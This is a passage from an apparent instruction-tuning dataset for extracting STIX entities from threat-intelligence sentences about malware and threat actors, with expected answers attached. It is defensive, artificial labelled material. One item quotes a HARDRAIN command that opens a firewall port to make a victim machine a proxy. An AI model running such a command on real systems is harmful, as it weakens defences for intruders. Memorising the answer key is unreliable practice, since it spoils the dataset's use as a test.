Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.\n",
    "output": "<entities>GreyEnergy|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBOULDSPY is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that BOULDSPY primarily targeted minority groups in Iran.\n",
    "output": "<entities>BOULDSPY|Android|C2|Iran</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBased on observed infrastructure, the two clusters share similar hosting providers, netblocks, and registrars. There are also dozens of unrelated domains that appear to distribute RATs hosted on the same infrastructure.  Threat Cluster\u00a0  C2\u00a0IP\u00a0  Last Seen\u00a0  First Seen\u00a0  ASN\u00a0  Host Org\u00a0  Netblock\u00a0  Country\u00a0  Registrar\n",
    "output": "<entities>C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHARDRAIN uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server.\n",
    "output": "<entities>cmd.exe|HARDRAIN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe White Company has sent phishing emails with malicious Microsoft Word attachments to victims.\n",
    "output": "<entities>The White Company|Microsoft Word|Microsoft</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOlympic Destroyer contains a module that tries to obtain stored credentials from web browsers.\n",
    "output": "<entities>Olympic Destroyer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNgrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.\n",
    "output": "<entities>Ngrok|ngrok|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.\n",
    "output": "<entities>Wingbird|lssas.exe|sspisrv.dll</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.\n",
    "output": "<entities>MarkiRAT|Visual Studio|Ferocious Kitten</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGolden Cup is Android spyware that has been used to target World Cup fans.\n",
    "output": "<entities>Golden Cup|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.\n",
    "output": "<entities>Chrommme|Microsoft Foundation Class (MFC)|Gelsemium</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCatchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.\n",
    "output": "<entities>Catchamas|NetAdapter</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.\n",
    "output": "<entities>PowGoop|MuddyWater|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.\n",
    "output": "<entities>SocGholish|Mustard Tempest|Indrik Spider|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.\n",
    "output": "<entities>HermeticWiper|Ukraine|Latvia|Lithuania</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMustang Panda Recent Activity: Dll-Sideloading trojans with temporal C2 servers June 02, 2020\n",
    "output": "<entities>C2|Mustang Panda</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAPT19 used an HTTP malware variant and a Port 22 malware variant to collect the victim\u2019s username.\n",
    "output": "<entities>APT19</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEbury has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.\n",
    "output": "<entities>sshd|Ebury</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- 